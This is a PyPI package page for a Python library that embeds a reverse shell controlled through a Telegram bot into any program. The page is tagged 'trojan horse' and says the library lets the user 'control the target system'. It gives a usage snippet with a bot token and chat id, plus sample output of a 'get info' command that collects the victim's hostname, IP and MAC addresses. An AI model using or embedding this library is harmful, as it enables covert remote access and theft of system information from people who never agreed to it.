Skip to main content

trojan horse

py tel reverse shell

Python Telegram

the reverse shell in your telgram!


GitLicense

What is this?

This program is a Python library that you can use to put an inverted shell connected to Telegram in any program. And control the target system from within the telegram.

How does it work?

Currently, this Python library cannot be installed using pip, but it can be used this way anyway.

# sample program
from py_tel_reverse_shell import tel_shell



## get token from @BotFather in telegram
my_token = "2018473XXXXXXXXXXXXXXXXXXXXX-3M"
## get your number id from @userinfobot in telegram
my_chat_id = "19XXXXX25"


tel_shell.start_shell(bot_token=my_token,chat_id=my_chat_id)

and over. You can easily put an inverted shell connected to Telegram in your program.


options

You can send these words to the robot to get the answer.

get info #get full info from target

sample output:

-------- Boot Time -----------
 Boot Time: 2021/9/20 13:56:22
 -------- system info -----------
 platform: Linux
 platform-release: 5.13.16-200.fc34.x86_64
 platform-version: 1 SMP Mon Sep 13 12:39:36 UTC 2021
 architecture: x86_64
 hostname: optimus
 ip-address: 192.168.1.36
 public IP address: 31.xxx.xxx.32
 -------- CPU info -----------
 processor: x86_64
 Physical cores: 2
 Total cores: 2
 Max Frequency: 3200.00Mhz
 Min Frequency: 800.00Mhz
 Current Frequency: 895.82Mhz
 Total CPU Usage: 23.4%
 -------- Memory info -----------
 Total: 7.66GB
 Available: 4.81GB
 Used: 2.09GB
 Percentage: 37.2%
 -------- SWAP info -----------
 Total: 14.66GB
 Free: 14.40GBUsed: 266.50MBPercentage: 1.8%
 -------- Network info -----------
=== Interface: lo ===
 IP Address: 127.0.0.1
 Netmask: 255.0.0.0
 Broadcast IP: None
=== Interface: lo ===
 MAC Address: 00:00:00:00:00:00
 Netmask: None
 Broadcast MAC: None
=== Interface: enp2s0 ===
 IP Address: 192.168.1.36
 Netmask: 255.255.255.0
 Broadcast IP: 192.168.1.255
=== Interface: enp2s0 ===
 MAC Address: 1c:xx:xx:xx:a2:c8
 Netmask: None
 Broadcast MAC: ff:ff:ff:ff:ff:ff
=== Interface: virbr0 ===
 IP Address: 192.168.122.1
 Netmask: 255.255.255.0
 Broadcast IP: 192.168.122.255
=== Interface: virbr0 ===
 MAC Address: 52:xx:xx:xx:6c:93
 Netmask: None
 Broadcast MAC: ff:ff:ff:ff:ff:ff
 Total Bytes Sent: 83.69MBTotal Bytes Received: 175.42MB

Release files for Telegram-reverse-shell-lib 0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for Telegram-reverse-shell-lib 0.1
File Size Uploaded
Telegram reverse shell lib-0.1.tar.gz 18.6 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for Telegram-reverse-shell-lib 0.1
File Interpreter ABI Platform
Telegram_reverse_shell_lib-0.1-py3-none-any.whl Python 3 none any Details

Total release size: 36.7 kB

Release files / Telegram reverse shell lib-0.1.tar.gz

Download URL Telegram reverse shell lib-0.1.tar.gz
Size 18.6 kB
Tags Source
SHA-256 checksum
How to use checksums
9dd82ad6e6cc351ae3c1aa78b099573704d103d76ea95f94318c1e57809b0422
BLAKE2b-256 checksum
How to use checksums
a355f01ef9a4cf217f18739788840e899eeb81d28149d9340be44d185f91c9bb
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.10.4

Release files / Telegram_reverse_shell_lib-0.1-py3-none-any.whl

Download URL Telegram_reverse_shell_lib-0.1-py3-none-any.whl
Size 18.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
e1f42bd83e0d5ce499a9d50351413b5412f825039da198f7bd90b4ff7a4104cc
BLAKE2b-256 checksum
How to use checksums
18fc99849db718afd6043b085f1176dca202545c08e6448d2239a87ba2a1d4c5
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.10.4

Release history Release notifications | RSS feed

This release

0.1 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page